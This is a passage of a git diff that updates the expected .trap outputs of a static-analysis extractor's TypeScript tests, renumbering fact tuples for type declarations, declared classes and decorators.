+locations_default(#23059,#10000,91,20,91,42) +hasLocation(#23058,#23059) #23060=* -typeexprs(#23060,23,#23057,2,"(x: string) => void") -#23061=@"loc,{#10000},91,23,91,41" -locations_default(#23061,#10000,91,23,91,41) -hasLocation(#23060,#23061) -enclosing_stmt(#23060,#23049) +exprs(#23060,0,#23058,0,"a") +hasLocation(#23060,#21904) +enclosing_stmt(#23060,#23050) expr_containers(#23060,#22805) -#23062=* -exprs(#23062,9,#23060,0,"(x: string) => void") -hasLocation(#23062,#23061) -enclosing_stmt(#23062,#23049) -expr_containers(#23062,#22805) +literals("a","a",#23060) +is_abstract_member(#23058) +#23061=* +typeexprs(#23061,23,#23058,2,"(x: string) => void") +#23062=@"loc,{#10000},91,23,91,41" +locations_default(#23062,#10000,91,23,91,41) +hasLocation(#23061,#23062) +enclosing_stmt(#23061,#23050) +expr_containers(#23061,#22805) #23063=* -scopes(#23063,1) -scopenodes(#23062,#23063) -scopenesting(#23063,#22808) -#23064=@"var;{x};{#23063}" -variables(#23064,"x",#23063) -#23065=* -exprs(#23065,78,#23062,0,"x") -hasLocation(#23065,#21910) -expr_containers(#23065,#23062) -literals("x","x",#23065) -decl(#23065,#23064) -#23066=@"var;{arguments};{#23063}" -variables(#23066,"arguments",#23063) -is_arguments_object(#23066) -#23067=* -typeexprs(#23067,2,#23062,-3,"void") -hasLocation(#23067,#21920) -expr_containers(#23067,#23062) -literals("void","void",#23067) +exprs(#23063,9,#23061,0,"(x: string) => void") +hasLocation(#23063,#23062) +enclosing_stmt(#23063,#23050) +expr_containers(#23063,#22805) +#23064=* +scopes(#23064,1) +scopenodes(#23063,#23064) +scopenesting(#23064,#22808) +#23065=@"var;{x};{#23064}" +variables(#23065,"x",#23064) +#23066=* +exprs(#23066,78,#23063,0,"x") +hasLocation(#23066,#21910) +expr_containers(#23066,#23063) +literals("x","x",#23066) +decl(#23066,#23065) +#23067=@"var;{arguments};{#23064}" +variables(#23067,"arguments",#23064) +is_arguments_object(#23067) #23068=* -typeexprs(#23068,2,#23062,-6,"string") -hasLocation(#23068,#21914) -expr_containers(#23068,#23062) -literals("string","string",#23068) +typeexprs(#23068,2,#23063,-3,"void") +hasLocation(#23068,#21920) +expr_containers(#23068,#23063) +literals("void","void",#23068) #23069=* -properties(#23069,#23055,1,8,"b: (x: ... => void") -#23070=@"loc,{#10000},91,44,91,65" -locations_default(#23070,#10000,91,44,91,65) -hasLocation(#23069,#23070) -#23071=* -exprs(#23071,0,#23069,0,"b") -hasLocation(#23071,#21924) -enclosing_stmt(#23071,#23049) -expr_containers(#23071,#22805) -literals("b","b",#23071) -is_abstract_member(#23069) +typeexprs(#23069,2,#23063,-6,"string") +hasLocation(#23069,#21914) +expr_containers(#23069,#23063) +literals("string","string",#23069) +#23070=* +properties(#23070,#23056,1,8,"b: (x: ... => void") +#23071=@"loc,{#10000},91,44,91,65" +locations_default(#23071,#10000,91,44,91,65) +hasLocation(#23070,#23071) #23072=* -typeexprs(#23072,23,#23069,2,"(x: string) => void") -#23073=@"loc,{#10000},91,47,91,65" -locations_default(#23073,#10000,91,47,91,65) -hasLocation(#23072,#23073) -enclosing_stmt(#23072,#23049) +exprs(#23072,0,#23070,0,"b") +hasLocation(#23072,#21924) +enclosing_stmt(#23072,#23050) expr_containers(#23072,#22805) -#23074=* -exprs(#23074,9,#23072,0,"(x: string) => void") -hasLocation(#23074,#23073) -enclosing_stmt(#23074,#23049) -expr_containers(#23074,#22805) +literals("b","b",#23072) +is_abstract_member(#23070) +#23073=* +typeexprs(#23073,23,#23070,2,"(x: string) => void") +#23074=@"loc,{#10000},91,47,91,65" +locations_default(#23074,#10000,91,47,91,65) +hasLocation(#23073,#23074) +enclosing_stmt(#23073,#23050) +expr_containers(#23073,#22805) #23075=* -scopes(#23075,1) -scopenodes(#23074,#23075) -scopenesting(#23075,#22808) -#23076=@"var;{x};{#23075}" -variables(#23076,"x",#23075) -#23077=* -exprs(#23077,78,#23074,0,"x") -hasLocation(#23077,#21930) -expr_containers(#23077,#23074) -literals("x","x",#23077) -decl(#23077,#23076) -#23078=@"var;{arguments};{#23075}" -variables(#23078,"arguments",#23075) -is_arguments_object(#23078) -#23079=* -typeexprs(#23079,2,#23074,-3,"void") -hasLocation(#23079,#21940) -expr_containers(#23079,#23074) -literals("void","void",#23079) +exprs(#23075,9,#23073,0,"(x: string) => void") +hasLocation(#23075,#23074) +enclosing_stmt(#23075,#23050) +expr_containers(#23075,#22805) +#23076=* +scopes(#23076,1) +scopenodes(#23075,#23076) +scopenesting(#23076,#22808) +#23077=@"var;{x};{#23076}" +variables(#23077,"x",#23076) +#23078=* +exprs(#23078,78,#23075,0,"x") +hasLocation(#23078,#21930) +expr_containers(#23078,#23075) +literals("x","x",#23078) +decl(#23078,#23077) +#23079=@"var;{arguments};{#23076}" +variables(#23079,"arguments",#23076) +is_arguments_object(#23079) #23080=* -typeexprs(#23080,2,#23074,-6,"string") -hasLocation(#23080,#21934) -expr_containers(#23080,#23074) -literals("string","string",#23080) +typeexprs(#23080,2,#23075,-3,"void") +hasLocation(#23080,#21940) +expr_containers(#23080,#23075) +literals("void","void",#23080) #23081=* -stmts(#23081,35,#22805,12,"type T2 ... oid }>;") -#23082=@"loc,{#10000},92,3,92,69" -locations_default(#23082,#10000,92,3,92,69) -hasLocation(#23081,#23082) -stmt_containers(#23081,#22805) -#23083=* -typeexprs(#23083,1,#23081,0,"T21") -hasLocation(#23083,#21950) -enclosing_stmt(#23083,#23081) -expr_containers(#23083,#22805) -literals("T21","T21",#23083) -typedecl(#23083,#22821) +typeexprs(#23081,2,#23075,-6,"string") +hasLocation(#23081,#21934) +expr_containers(#23081,#23075) +literals("string","string",#23081) +#23082=* +stmts(#23082,35,#22805,12,"type T2 ... oid }>;") +#23083=@"loc,{#10000},92,3,92,69" +locations_default(#23083,#10000,92,3,92,69) +hasLocation(#23082,#23083) +stmt_containers(#23082,#22805) #23084=* -typeexprs(#23084,14,#23081,1,"Bar<{ a ... void }>") -#23085=@"loc,{#10000},92,14,92,68" -locations_default(#23085,#10000,92,14,92,68) -hasLocation(#23084,#23085) -enclosing_stmt(#23084,#23081) +typeexprs(#23084,1,#23082,0,"T21") +hasLocation(#23084,#21950) +enclosing_stmt(#23084,#23082) expr_containers(#23084,#22805) -#23086=* -typeexprs(#23086,0,#23084,-1,"Bar") -hasLocation(#23086,#21954) -enclosing_stmt(#23086,#23081) -expr_containers(#23086,#22805) -literals("Bar","Bar",#23086) -typebind(#23086,#22819) +literals("T21","T21",#23084) +typedecl(#23084,#22822) +#23085=* +typeexprs(#23085,14,#23082,1,"Bar<{ a ... void }>") +#23086=@"loc,{#10000},92,14,92,68" +locations_default(#23086,#10000,92,14,92,68) +hasLocation(#23085,#23086) +enclosing_stmt(#23085,#23082) +expr_containers(#23085,#22805) #23087=* -typeexprs(#23087,21,#23084,0,"{ a: (x ... void }") -#23088=@"loc,{#10000},92,18,92,67" -locations_default(#23088,#10000,92,18,92,67) -hasLocation(#23087,#23088) -enclosing_stmt(#23087,#23081) +typeexprs(#23087,0,#23085,-1,"Bar") +hasLocation(#23087,#21954) +enclosing_stmt(#23087,#23082) expr_containers(#23087,#22805) -#23089=* -properties(#23089,#23087,0,8,"a: (x: ... > void,") -#23090=@"loc,{#10000},92,20,92,42" -locations_default(#23090,#10000,92,20,92,42) -hasLocation(#23089,#23090) -#23091=* -exprs(#23091,0,#23089,0,"a") -hasLocation(#23091,#21960) -enclosing_stmt(#23091,#23081) -expr_containers(#23091,#22805) -literals("a","a",#23091) -is_abstract_member(#23089) +literals("Bar","Bar",#23087) +typebind(#23087,#22820) +#23088=* +typeexprs(#23088,21,#23085,0,"{ a: (x ... void }") +#23089=@"loc,{#10000},92,18,92,67" +locations_default(#23089,#10000,92,18,92,67) +hasLocation(#23088,#23089) +enclosing_stmt(#23088,#23082) +expr_containers(#23088,#22805) +#23090=* +properties(#23090,#23088,0,8,"a: (x: ... > void,") +#23091=@"loc,{#10000},92,20,92,42" +locations_default(#23091,#10000,92,20,92,42) +hasLocation(#23090,#23091) #23092=* -typeexprs(#23092,23,#23089,2,"(x: string) => void") -#23093=@"loc,{#10000},92,23,92,41" -locations_default(#23093,#10000,92,23,92,41) -hasLocation(#23092,#23093) -enclosing_stmt(#23092,#23081) +exprs(#23092,0,#23090,0,"a") +hasLocation(#23092,#21960) +enclosing_stmt(#23092,#23082) expr_containers(#23092,#22805) -#23094=* -exprs(#23094,9,#23092,0,"(x: string) => void") -hasLocation(#23094,#23093) -enclosing_stmt(#23094,#23081) -expr_containers(#23094,#22805) +literals("a","a",#23092) +is_abstract_member(#23090) +#23093=* +typeexprs(#23093,23,#23090,2,"(x: string) => void") +#23094=@"loc,{#10000},92,23,92,41" +locations_default(#23094,#10000,92,23,92,41) +hasLocation(#23093,#23094) +enclosing_stmt(#23093,#23082) +expr_containers(#23093,#22805) #23095=* -scopes(#23095,1) -scopenodes(#23094,#23095) -scopenesting(#23095,#22808) -#23096=@"var;{x};{#23095}" -variables(#23096,"x",#23095) -#23097=* -exprs(#23097,78,#23094,0,"x") -hasLocation(#23097,#21966) -expr_containers(#23097,#23094) -literals("x","x",#23097) -decl(#23097,#23096) -#23098=@"var;{arguments};{#23095}" -variables(#23098,"arguments",#23095) -is_arguments_object(#23098) -#23099=* -typeexprs(#23099,2,#23094,-3,"void") -hasLocation(#23099,#21976) -expr_containers(#23099,#23094) -literals("void","void",#23099) +exprs(#23095,9,#23093,0,"(x: string) => void") +hasLocation(#23095,#23094) +enclosing_stmt(#23095,#23082) +expr_containers(#23095,#22805) +#23096=* +scopes(#23096,1) +scopenodes(#23095,#23096) +scopenesting(#23096,#22808) +#23097=@"var;{x};{#23096}" +variables(#23097,"x",#23096) +#23098=* +exprs(#23098,78,#23095,0,"x") +hasLocation(#23098,#21966) +expr_containers(#23098,#23095) +literals("x","x",#23098) +decl(#23098,#23097) +#23099=@"var;{arguments};{#23096}" +variables(#23099,"arguments",#23096) +is_arguments_object(#23099) #23100=* -typeexprs(#23100,2,#23094,-6,"string") -hasLocation(#23100,#21970) -expr_containers(#23100,#23094) -literals("string","string",#23100) +typeexprs(#23100,2,#23095,-3,"void") +hasLocation(#23100,#21976) +expr_containers(#23100,#23095) +literals("void","void",#23100) #23101=* -properties(#23101,#23087,1,8,"b: (x: ... => void") -#23102=@"loc,{#10000},92,44,92,65" -locations_default(#23102,#10000,92,44,92,65) -hasLocation(#23101,#23102) -#23103=* -exprs(#23103,0,#23101,0,"b") -hasLocation(#23103,#21980) -enclosing_stmt(#23103,#23081) -expr_containers(#23103,#22805) -literals("b","b",#23103) -is_abstract_member(#23101) +typeexprs(#23101,2,#23095,-6,"string") +hasLocation(#23101,#21970) +expr_containers(#23101,#23095) +literals("string","string",#23101) +#23102=* +properties(#23102,#23088,1,8,"b: (x: ... => void") +#23103=@"loc,{#10000},92,44,92,65" +locations_default(#23103,#10000,92,44,92,65) +hasLocation(#23102,#23103) #23104=* -typeexprs(#23104,23,#23101,2,"(x: number) => void") -#23105=@"loc,{#10000},92,47,92,65" -locations_default(#23105,#10000,92,47,92,65) -hasLocation(#23104,#23105) -enclosing_stmt(#23104,#23081) +exprs(#23104,0,#23102,0,"b") +hasLocation(#23104,#21980) +enclosing_stmt(#23104,#23082) expr_containers(#23104,#22805) -#23106=* -exprs(#23106,9,#23104,0,"(x: number) => void") -hasLocation(#23106,#23105) -enclosing_stmt(#23106,#23081) -expr_containers(#23106,#22805) +literals("b","b",#23104) +is_abstract_member(#23102) +#23105=* +typeexprs(#23105,23,#23102,2,"(x: number) => void") +#23106=@"loc,{#10000},92,47,92,65" +locations_default(#23106,#10000,92,47,92,65) +hasLocation(#23105,#23106) +enclosing_stmt(#23105,#23082) +expr_containers(#23105,#22805) #23107=* -scopes(#23107,1) -scopenodes(#23106,#23107) -scopenesting(#23107,#22808) -#23108=@"var;{x};{#23107}" -variables(#23108,"x",#23107) -#23109=* -exprs(#23109,78,#23106,0,"x") -hasLocation(#23109,#21986) -expr_containers(#23109,#23106) -literals("x","x",#23109) -decl(#23109,#23108) -#23110=@"var;{arguments};{#23107}" -variables(#23110,"arguments",#23107) -is_arguments_object(#23110) -#23111=* -typeexprs(#23111,2,#23106,-3,"void") -hasLocation(#23111,#21996) -expr_containers(#23111,#23106) -literals("void","void",#23111) +exprs(#23107,9,#23105,0,"(x: number) => void") +hasLocation(#23107,#23106) +enclosing_stmt(#23107,#23082) +expr_containers(#23107,#22805) +#23108=* +scopes(#23108,1) +scopenodes(#23107,#23108) +scopenesting(#23108,#22808) +#23109=@"var;{x};{#23108}" +variables(#23109,"x",#23108) +#23110=* +exprs(#23110,78,#23107,0,"x") +hasLocation(#23110,#21986) +expr_containers(#23110,#23107) +literals("x","x",#23110) +decl(#23110,#23109) +#23111=@"var;{arguments};{#23108}" +variables(#23111,"arguments",#23108) +is_arguments_object(#23111) #23112=* -typeexprs(#23112,2,#23106,-6,"number") -hasLocation(#23112,#21990) -expr_containers(#23112,#23106) -literals("number","number",#23112) +typeexprs(#23112,2,#23107,-3,"void") +hasLocation(#23112,#21996) +expr_containers(#23112,#23107) +literals("void","void",#23112) #23113=* -stmts(#23113,17,#22805,13,"declare ... number;") -#23114=@"loc,{#10000},94,3,94,42" -locations_default(#23114,#10000,94,3,94,42) -hasLocation(#23113,#23114) -stmt_containers(#23113,#22805) -has_declare_keyword(#23113) -#23115=* -exprs(#23115,78,#23113,-1,"foo") -hasLocation(#23115,#22008) -expr_containers(#23115,#23113) -literals("foo","foo",#23115) -#23116=@"var;{foo};{#20000}" -variables(#23116,"foo",#20000) -decl(#23115,#23116) +typeexprs(#23113,2,#23107,-6,"number") +hasLocation(#23113,#21990) +expr_containers(#23113,#23107) +literals("number","number",#23113) +#23114=* +stmts(#23114,17,#22805,13,"declare ... number;") +#23115=@"loc,{#10000},94,3,94,42" +locations_default(#23115,#10000,94,3,94,42) +hasLocation(#23114,#23115) +stmt_containers(#23114,#22805) +has_declare_keyword(#23114) +#23116=* +exprs(#23116,78,#23114,-1,"foo") +hasLocation(#23116,#22008) +expr_containers(#23116,#23114) +literals("foo","foo",#23116) +decl(#23116,#22809) #23117=* scopes(#23117,1) -scopenodes(#23113,#23117) +scopenodes(#23114,#23117) scopenesting(#23117,#22808) #23118=@"var;{x};{#23117}" variables(#23118,"x",#23117) #23119=* -exprs(#23119,78,#23113,0,"x") +exprs(#23119,78,#23114,0,"x") hasLocation(#23119,#22012) -expr_containers(#23119,#23113) +expr_containers(#23119,#23114) literals("x","x",#23119) decl(#23119,#23118) #23120=@"var;{arguments};{#23117}" variables(#23120,"arguments",#23117) is_arguments_object(#23120) #23121=* -typeexprs(#23121,2,#23113,-3,"number") +typeexprs(#23121,2,#23114,-3,"number") hasLocation(#23121,#22022) -expr_containers(#23121,#23113) +expr_containers(#23121,#23114) literals("number","number",#23121) #23122=* -typeexprs(#23122,2,#23113,-6,"string") +typeexprs(#23122,2,#23114,-6,"string") hasLocation(#23122,#22016) -expr_containers(#23122,#23113) +expr_containers(#23122,#23114) literals("string","string",#23122) #23123=* stmts(#23123,17,#22805,14,"declare ... string;") @@ -9757,7 +9757,7 @@ exprs(#23125,78,#23123,-1,"foo") hasLocation(#23125,#22030) expr_containers(#23125,#23123) literals("foo","foo",#23125) -decl(#23125,#23116) +decl(#23125,#22809) #23126=* scopes(#23126,1) scopenodes(#23123,#23126) @@ -9795,7 +9795,7 @@ exprs(#23134,78,#23132,-1,"foo") hasLocation(#23134,#22052) expr_containers(#23134,#23132) literals("foo","foo",#23134) -decl(#23134,#23116) +decl(#23134,#22809) #23135=* scopes(#23135,1) scopenodes(#23132,#23135) @@ -9855,7 +9855,7 @@ hasLocation(#23149,#22080) enclosing_stmt(#23149,#23147) expr_containers(#23149,#22805) literals("T30","T30",#23149) -typedecl(#23149,#22822) +typedecl(#23149,#22823) #23150=* typeexprs(#23150,14,#23147,1,"ReturnT ... of foo>") #23151=@"loc,{#10000},97,14,97,35" @@ -9869,7 +9869,7 @@ hasLocation(#23152,#22084) enclosing_stmt(#23152,#23147) expr_containers(#23152,#22805) literals("ReturnType","ReturnType",#23152) -typebind(#23152,#22824) +typebind(#23152,#22825) #23153=* typeexprs(#23153,16,#23150,0,"typeof foo") #23154=@"loc,{#10000},97,25,97,34" @@ -9883,7 +9883,7 @@ hasLocation(#23155,#22090) enclosing_stmt(#23155,#23147) expr_containers(#23155,#22805) literals("foo","foo",#23155) -bind(#23155,#23116) +bind(#23155,#22809) #23156=* stmts(#23156,35,#22805,17,"type An ... => any;") #23157=@"loc,{#10000},99,3,99,45" @@ -9896,7 +9896,7 @@ hasLocation(#23158,#22098) enclosing_stmt(#23158,#23156) expr_containers(#23158,#22805) literals("AnyFunction","AnyFunction",#23158) -typedecl(#23158,#22823) +typedecl(#23158,#22824) #23159=* typeexprs(#23159,23,#23156,1,"(...arg ... => any") #23160=@"loc,{#10000},99,22,99,44" @@ -9953,7 +9953,7 @@ hasLocation(#23172,#22126) enclosing_stmt(#23172,#23170) expr_containers(#23172,#22805) literals("ReturnType","ReturnType",#23172) -typedecl(#23172,#22824) +typedecl(#23172,#22825) #23173=* scopes(#23173,12) scopenodes(#23170,#23173) @@ -9980,7 +9980,7 @@ hasLocation(#23178,#22134) enclosing_stmt(#23178,#23170) expr_containers(#23178,#22805) literals("AnyFunction","AnyFunction",#23178) -typebind(#23178,#22823) +typebind(#23178,#22824) #23179=* typeexprs(#23179,28,#23170,1,"T exten ... R : any") #23180=@"loc,{#10000},100,44,100,90" @@ -10084,21 +10084,21 @@ successor(#23156,#23170) successor(#23147,#23156) successor(#23132,#23147) successor(#23123,#23132) -successor(#23113,#23123) -successor(#23081,#23113) -successor(#23049,#23081) -successor(#23005,#23049) -successor(#22989,#23005) -successor(#22973,#22989) -successor(#22945,#22973) -successor(#22930,#22945) -successor(#22918,#22930) -successor(#22908,#22918) -successor(#22896,#22908) -successor(#22887,#22896) -successor(#22880,#22887) -successor(#22825,#22880) -successor(#22805,#22825) +successor(#23114,#23123) +successor(#23082,#23114) +successor(#23050,#23082) +successor(#23006,#23050) +successor(#22990,#23006) +successor(#22974,#22990) +successor(#22946,#22974) +successor(#22931,#22946) +successor(#22919,#22931) +successor(#22909,#22919) +successor(#22897,#22909) +successor(#22888,#22897) +successor(#22881,#22888) +successor(#22826,#22881) +successor(#22805,#22826) successor(#22185,#22183) successor(#22777,#22807) successor(#22770,#22777) diff --git a/javascript/extractor/tests/ts/output/trap/declareClass.ts.trap b/javascript/extractor/tests/ts/output/trap/declareClass.ts.trap index 6bc9fb5ffb2..83ada22ef89 100644 --- a/javascript/extractor/tests/ts/output/trap/declareClass.ts.trap +++ b/javascript/extractor/tests/ts/output/trap/declareClass.ts.trap @@ -50,61 +50,64 @@ toplevels(#20001,0) #20016=@"loc,{#10000},1,1,2,0" locations_default(#20016,#10000,1,1,2,0) hasLocation(#20001,#20016) -#20017=* -stmts(#20017,26,#20001,0,"declare class C {}") -hasLocation(#20017,#20003) -stmt_containers(#20017,#20001) -has_declare_keyword(#20017) -#20018=* -exprs(#20018,78,#20017,0,"C") -hasLocation(#20018,#20009) -enclosing_stmt(#20018,#20017) -expr_containers(#20018,#20001) -literals("C","C",#20018) -#20019=@"var;{C};{#20000}" -variables(#20019,"C",#20000) -decl(#20018,#20019) +#20017=@"var;{C};{#20000}" +variables(#20017,"C",#20000) +#20018=@"local_type_name;{C};{#20000}" +local_type_names(#20018,"C",#20000) +#20019=* +stmts(#20019,26,#20001,0,"declare class C {}") +hasLocation(#20019,#20003) +stmt_containers(#20019,#20001) +has_declare_keyword(#20019) #20020=* -scopes(#20020,10) -scopenodes(#20017,#20020) -scopenesting(#20020,#20000) +exprs(#20020,78,#20019,0,"C") +hasLocation(#20020,#20009) +enclosing_stmt(#20020,#20019) +expr_containers(#20020,#20001) +literals("C","C",#20020) +decl(#20020,#20017) +typedecl(#20020,#20018) #20021=* -properties(#20021,#20017,2,0,"constructor() {}") -#20022=@"loc,{#10000},1,17,1,16" -locations_default(#20022,#10000,1,17,1,16) -hasLocation(#20021,#20022) -#20023=* -exprs(#20023,0,#20021,0,"constructor") -hasLocation(#20023,#20022) -enclosing_stmt(#20023,#20017) -expr_containers(#20023,#20001) -literals("constructor","constructor",#20023) +scopes(#20021,10) +scopenodes(#20019,#20021) +scopenesting(#20021,#20000) +#20022=* +properties(#20022,#20019,2,0,"constructor() {}") +#20023=@"loc,{#10000},1,17,1,16" +locations_default(#20023,#10000,1,17,1,16) +hasLocation(#20022,#20023) #20024=* -exprs(#20024,9,#20021,1,"() {}") -hasLocation(#20024,#20022) -enclosing_stmt(#20024,#20017) +exprs(#20024,0,#20022,0,"constructor") +hasLocation(#20024,#20023) +enclosing_stmt(#20024,#20019) expr_containers(#20024,#20001) +literals("constructor","constructor",#20024) #20025=* -scopes(#20025,1) -scopenodes(#20024,#20025) -scopenesting(#20025,#20020) -#20026=@"var;{arguments};{#20025}" -variables(#20026,"arguments",#20025) -is_arguments_object(#20026) -#20027=* -stmts(#20027,1,#20024,-2,"{}") -hasLocation(#20027,#20022) -stmt_containers(#20027,#20024) -is_method(#20021) +exprs(#20025,9,#20022,1,"() {}") +hasLocation(#20025,#20023) +enclosing_stmt(#20025,#20019) +expr_containers(#20025,#20001) +#20026=* +scopes(#20026,1) +scopenodes(#20025,#20026) +scopenesting(#20026,#20021) +#20027=@"var;{arguments};{#20026}" +variables(#20027,"arguments",#20026) +is_arguments_object(#20027) #20028=* -entry_cfg_node(#20028,#20001) -#20029=@"loc,{#10000},1,1,1,0" -locations_default(#20029,#10000,1,1,1,0) -hasLocation(#20028,#20029) -#20030=* -exit_cfg_node(#20030,#20001) -hasLocation(#20030,#20015) -successor(#20017,#20030) -successor(#20028,#20017) +stmts(#20028,1,#20025,-2,"{}") +hasLocation(#20028,#20023) +stmt_containers(#20028,#20025) +is_method(#20022) +#20029=* +entry_cfg_node(#20029,#20001) +#20030=@"loc,{#10000},1,1,1,0" +locations_default(#20030,#10000,1,1,1,0) +hasLocation(#20029,#20030) +#20031=* +exit_cfg_node(#20031,#20001) +hasLocation(#20031,#20015) +successor(#20019,#20031) +successor(#20029,#20019) numlines(#10000,1,1,0) filetype(#10000,"typescript") diff --git a/javascript/extractor/tests/ts/output/trap/functiondecorators.ts.trap b/javascript/extractor/tests/ts/output/trap/functiondecorators.ts.trap index 89cd1760443..00276bb6464 100644 --- a/javascript/extractor/tests/ts/output/trap/functiondecorators.ts.trap +++ b/javascript/extractor/tests/ts/output/trap/functiondecorators.ts.trap @@ -584,62 +584,63 @@ toplevels(#20001,0) #20221=@"loc,{#10000},1,1,16,0" locations_default(#20221,#10000,1,1,16,0) hasLocation(#20001,#20221) -#20222=@"var;{C};{#20000}" -variables(#20222,"C",#20000) -#20223=@"local_type_name;{C};{#20000}" -local_type_names(#20223,"C",#20000) -#20224=* -stmts(#20224,18,#20001,0,"declare var A : any;") -hasLocation(#20224,#20003) -stmt_containers(#20224,#20001) -has_declare_keyword(#20224) -#20225=* -exprs(#20225,64,#20224,0,"A : any") -#20226=@"loc,{#10000},1,13,1,19" -locations_default(#20226,#10000,1,13,1,19) -hasLocation(#20225,#20226) -enclosing_stmt(#20225,#20224) -expr_containers(#20225,#20001) +#20222=@"var;{A};{#20000}" +variables(#20222,"A",#20000) +#20223=@"var;{B};{#20000}" +variables(#20223,"B",#20000) +#20224=@"var;{C};{#20000}" +variables(#20224,"C",#20000) +variables(#20224,"C",#20000) +#20225=@"local_type_name;{C};{#20000}" +local_type_names(#20225,"C",#20000) +#20226=* +stmts(#20226,18,#20001,0,"declare var A : any;") +hasLocation(#20226,#20003) +stmt_containers(#20226,#20001) +has_declare_keyword(#20226) #20227=* -exprs(#20227,78,#20225,0,"A") -hasLocation(#20227,#20037) -enclosing_stmt(#20227,#20224) +exprs(#20227,64,#20226,0,"A : any") +#20228=@"loc,{#10000},1,13,1,19" +locations_default(#20228,#10000,1,13,1,19) +hasLocation(#20227,#20228) +enclosing_stmt(#20227,#20226) expr_containers(#20227,#20001) -literals("A","A",#20227) -#20228=@"var;{A};{#20000}" -variables(#20228,"A",#20000) -decl(#20227,#20228) #20229=* -typeexprs(#20229,2,#20225,2,"any") -hasLocation(#20229,#20041) -enclosing_stmt(#20229,#20224) +exprs(#20229,78,#20227,0,"A") +hasLocation(#20229,#20037) +enclosing_stmt(#20229,#20226) expr_containers(#20229,#20001) -literals("any","any",#20229) +literals("A","A",#20229) +decl(#20229,#20222) #20230=* -stmts(#20230,18,#20001,1,"declare var B : any;") -hasLocation(#20230,#20005) -stmt_containers(#20230,#20001) -has_declare_keyword(#20230) +typeexprs(#20230,2,#20227,2,"any") +hasLocation(#20230,#20041) +enclosing_stmt(#20230,#20226) +expr_containers(#20230,#20001) +literals("any","any",#20230) #20231=* -exprs(#20231,64,#20230,0,"B : any") -#20232=@"loc,{#10000},2,13,2,19" -locations_default(#20232,#10000,2,13,2,19) -hasLocation(#20231,#20232) -enclosing_stmt(#20231,#20230) -expr_containers(#20231,#20001) -#20233=* -exprs(#20233,78,#20231,0,"B") -hasLocation(#20233,#20049) -enclosing_stmt(#20233,#20230) -expr_containers(#20233,#20001) -literals("B","B",#20233) -#20234=@"var;{B};{#20000}" -variables(#20234,"B",#20000) -decl(#20233,#20234) +stmts(#20231,18,#20001,1,"declare var B : any;") +hasLocation(#20231,#20005) +stmt_containers(#20231,#20001) +has_declare_keyword(#20231) +#20232=* +exprs(#20232,64,#20231,0,"B : any") +#20233=@"loc,{#10000},2,13,2,19" +locations_default(#20233,#10000,2,13,2,19) +hasLocation(#20232,#20233) +enclosing_stmt(#20232,#20231) +expr_containers(#20232,#20001) +#20234=* +exprs(#20234,78,#20232,0,"B") +hasLocation(#20234,#20049) +enclosing_stmt(#20234,#20231) +expr_containers(#20234,#20001) +literals("B","B",#20234) +decl(#20234,#20223) #20235=* -typeexprs(#20235,2,#20231,2,"any") +typeexprs(#20235,2,#20232,2,"any") hasLocation(#20235,#20053) -enclosing_stmt(#20235,#20230) +enclosing_stmt(#20235,#20231) expr_containers(#20235,#20001) literals("any","any",#20235) #20236=* @@ -660,7 +661,7 @@ hasLocation(#20239,#20061) enclosing_stmt(#20239,#20236) expr_containers(#20239,#20001) literals("C","C",#20239) -decl(#20239,#20222) +decl(#20239,#20224) #20240=* typeexprs(#20240,2,#20237,2,"any") hasLocation(#20240,#20065) @@ -679,8 +680,8 @@ hasLocation(#20243,#20071) enclosing_stmt(#20243,#20241) expr_containers(#20243,#20001) literals("C","C",#20243) -decl(#20243,#20222) -typedecl(#20243,#20223) +decl(#20243,#20224) +typedecl(#20243,#20225) #20244=* scopes(#20244,10) scopenodes(#20241,#20244) @@ -769,7 +770,7 @@ exprs(#20266,79,#20265,0,"A") hasLocation(#20266,#20093) expr_containers(#20266,#20258) literals("A","A",#20266) -bind(#20266,#20228) +bind(#20266,#20222) #20267=* stmts(#20267,1,#20258,-2,"{}") #20268=@"loc,{#10000},7,12,7,13" @@ -825,7 +826,7 @@ exprs(#20281,79,#20279,0,"A") hasLocation(#20281,#20109) expr_containers(#20281,#20272) literals("A","A",#20281) -bind(#20281,#20228) +bind(#20281,#20222) #20282=* exprs(#20282,94,#20277,1,"@B") #20283=@"loc,{#10000},8,9,8,10" @@ -837,7 +838,7 @@ exprs(#20284,79,#20282,0,"B") hasLocation(#20284,#20113) expr_containers(#20284,#20272) literals("B","B",#20284) -bind(#20284,#20234) +bind(#20284,#20223) #20285=* stmts(#20285,1,#20272,-2,"{}") #20286=@"loc,{#10000},8,16,8,17" @@ -899,7 +900,7 @@ exprs(#20300,79,#20299,0,"A") hasLocation(#20300,#20133) expr_containers(#20300,#20290) literals("A","A",#20300) -bind(#20300,#20228) +bind(#20300,#20222) #20301=* stmts(#20301,1,#20290,-2,"{}") #20302=@"loc,{#10000},10,18,10,19" @@ -963,7 +964,7 @@ exprs(#20317,79,#20315,0,"A") hasLocation(#20317,#20153) expr_containers(#20317,#20306) literals("A","A",#20317) -bind(#20317,#20228) +bind(#20317,#20222) #20318=* exprs(#20318,94,#20313,1,"@B") #20319=@"loc,{#10000},11,15,11,16" @@ -975,7 +976,7 @@ exprs(#20320,79,#20318,0,"B") hasLocation(#20320,#20157) expr_containers(#20320,#20306) literals("B","B",#20320) -bind(#20320,#20234) +bind(#20320,#20223) #20321=* stmts(#20321,1,#20306,-2,"{}") #20322=@"loc,{#10000},11,22,11,23" @@ -1037,7 +1038,7 @@ exprs(#20336,79,#20335,0,"A") hasLocation(#20336,#20173) expr_containers(#20336,#20326) literals("A","A",#20336) -bind(#20336,#20228) +bind(#20336,#20222) #20337=* exprs(#20337,104,#20326,-12,"@B") #20338=@"loc,{#10000},13,12,13,13" @@ -1053,7 +1054,7 @@ exprs(#20340,79,#20339,0,"B") hasLocation(#20340,#20181) expr_containers(#20340,#20326) literals("B","B",#20340) -bind(#20340,#20234) +bind(#20340,#20223) #20341=* stmts(#20341,1,#20326,-2,"{}") #20342=@"loc,{#10000},13,18,13,19" @@ -1115,7 +1116,7 @@ exprs(#20356,79,#20355,0,"A") hasLocation(#20356,#20197) expr_containers(#20356,#20346) literals("A","A",#20356) -bind(#20356,#20228) +bind(#20356,#20222) #20357=* exprs(#20357,104,#20346,-12,"@B @C") #20358=@"loc,{#10000},14,12,14,16" @@ -1133,7 +1134,7 @@ exprs(#20361,79,#20359,0,"B") hasLocation(#20361,#20205) expr_containers(#20361,#20346) literals("B","B",#20361) -bind(#20361,#20234) +bind(#20361,#20223) #20362=* exprs(#20362,94,#20357,1,"@C") #20363=@"loc,{#10000},14,15,14,16" @@ -1145,7 +1146,7 @@ exprs(#20364,79,#20362,0,"C") 